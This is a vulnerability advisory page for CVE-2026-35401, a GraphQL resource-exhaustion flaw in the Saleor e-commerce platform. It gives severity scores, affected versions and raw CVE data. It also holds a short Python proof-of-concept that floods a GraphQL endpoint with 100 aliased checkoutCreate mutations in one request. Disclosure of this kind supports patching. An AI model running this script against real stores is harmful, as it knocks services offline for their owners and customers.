Security Vulnerability Report
中文
CVE-2026-35401 CVSS 7.5 HIGH

CVE-2026-35401

Published: 2026-04-08 19:25:24
Last Modified: 2026-04-20 20:03:15

Description

Saleor is an e-commerce platform. From 2.0.0 to before 3.23.0a3, 3.22.47, 3.21.54, and 3.20.118, a malicious actor can include many GraphQL mutations or queries in a single API call using aliases or chaining multiple mutations, resulting in resource exhaustion. This vulnerability is fixed in 3.23.0a3, 3.22.47, 3.21.54, and 3.20.118.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:saleor:saleor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:saleor:saleor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:saleor:saleor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:saleor:saleor:3.23.0:alpha0:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:saleor:saleor:3.23.0:alpha1:*:*:*:*:*:* - VULNERABLE
Saleor < 3.23.0a3
Saleor < 3.22.47
Saleor < 3.21.54
Saleor < 3.20.118

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target GraphQL endpoint url = "http://target-url.com/graphql/" # Construct a malicious payload with multiple aliases # This simulates sending many mutations in one request aliases = [] for i in range(100): # Replace 'checkoutCreate' with a valid mutation from the schema aliases.append(f"op{i}: checkoutCreate(input: {{}}) {{ id }}") graphql_query = f"mutation {{ {', '.join(aliases)} }}" payload = { "query": graphql_query, "variables": {} } try: response = requests.post(url, json=payload) print(f"Request sent, status code: {response.status_code}") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35401", "sourceIdentifier": "[email protected]", "published": "2026-04-08T19:25:23.740", "lastModified": "2026-04-20T20:03:15.210", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Saleor is an e-commerce platform. From 2.0.0 to before 3.23.0a3, 3.22.47, 3.21.54, and 3.20.118, a malicious actor can include many GraphQL mutations or queries in a single API call using aliases or chaining multiple mutations, resulting in resource exhaustion. This vulnerability is fixed in 3.23.0a3, 3.22.47, 3.21.54, and 3.20.118."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "3.20.118", "matchCriteriaId": "1B4A5EA6-A42E-41BA-9A75-20C9FF65EE98"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.21.0", "versionEndExcluding": "3.21.54", "matchCriteriaId": "2312AF3F-A049-4E4B-AAEF-21D7B5463A3A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.22.0", "versionEndExcluding": "3.22.47", "matchCriteriaId": "ABB6E342-967D-4F4D-9869-BC24C630ACEF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:3.23.0:alpha0:*:*:*:*:*:*", "matchCriteriaId": "086CBDFF-B1C4-4AD4-9F39-00B028E29338"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:3.23.0:alpha1:*:*:*:*:*:*", "matchCriteriaId": "404B7EE8-9CE0-4B8D-B0B7-2DF60F355E72"}, {"vulnerable": true, "criteria": "cpe:2.3:a:saleor:saleor:3.23.0:alpha2:*:*:*:*:*:*", "matchCriteriaId": "6DD7D745-F558-4CBE-9110-2F7DCBCF4D2F"}]}]}], "references": [{"url": "https://github.com/saleor/saleor/security/advisories/GHSA-gqqv-xwx3-jj4h", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}